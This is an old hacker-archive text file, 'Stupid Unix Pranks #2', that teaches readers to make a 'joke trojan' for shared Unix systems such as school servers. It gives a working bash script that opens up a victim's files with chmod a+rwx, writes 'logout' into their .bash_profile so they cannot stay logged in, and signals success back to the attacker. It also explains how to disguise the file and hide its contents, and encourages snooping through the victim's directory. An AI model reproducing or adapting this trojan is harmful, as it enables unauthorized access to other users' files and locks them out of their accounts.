home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / hackers / unixpranks_2.txt < prev    next >
Text File  |  1998-09-09  |  2KB  |  56 lines

  1.                              Stupid Unix Pranks by The Darkling #2      
  2.  
  3.         This is what I call a Joke Trojen. While this method could be used to do some very bad 
  4. things I don't really condone them.  Warning: This could get you kicked out of unix class and 
  5. if your school is tight as mine maybee given the big boot. Use with caution. 
  6.         The entire Idea behind this is that we need someone dumb enough to run a program you 
  7. give them. this program will be a trojen horse that will efectivly lock them out and give you 
  8. RWX on everything they own. My unix may be a bit rusty as I'm writing this up after unix class,
  9. but everything should work. First 'know thi victem, sayith the lord' this person has to be someone
  10. that has something you want, and  will run a program without thinking about it. Once you have chosen 
  11. your victem, make the following bash script: 
  12.  
  13. <--- begin code ---> 
  14.  
  15. #!/bin/bash 
  16. echo you stupid dick 
  17. chmod a+rwx * 
  18. echo logout > .bash_profile 
  19. cd /home/yourusername 
  20. echo The hit is made sir > YES
  21. echo bye 
  22. logout 
  23.  
  24. <--- End code ---> 
  25.  
  26. Now make type 
  27. chmod g=x filename
  28. chmod o=x filename 
  29. chmod a+xw /home/yourusername
  30.  
  31. make sure to have named it someting like runme or some name that some one would think it 
  32. a little program that is kewl and safe to run.  We before denied read or write accsess to it 
  33. so they can't see its true nature (except root), so they should not fear it. 
  34. place it in their /home/username/ dir and wait for the file YES to appear in your home dir. be
  35. sure to fill in the vars like yourusername and filename (your user name adn whatever you name the 
  36. file).  The effect of the trojen above goes like this : 
  37.  
  38. it says to their screen 'you stupid dick' 
  39. it gives everyone read write and exacute perms to their files (all!) 
  40. it makes it so their startup files makes them logout (so they can't log back in.. ) 
  41. it goes to your dir 
  42. it makes a file called YES with the insides 'The hit is made sir' 
  43. it tells them 'bye' 
  44. it logs them out. 
  45.  
  46. I personely like it.. its very effective. if you have the right setup perms on yourstuff ( shown
  47. above wih the chmod commands) then it all should work. Go have fun in their dir.. then remove the 
  48. logout from their .bash_profile before they report to the teacher that some one put a trojen in 
  49. their dir. =) 
  50.  
  51. The Darkling 
  52.  
  53. Contact: 
  54.  
  55. Darkling69@mintprimary.com
  56. http://www.wilter.com/darkling/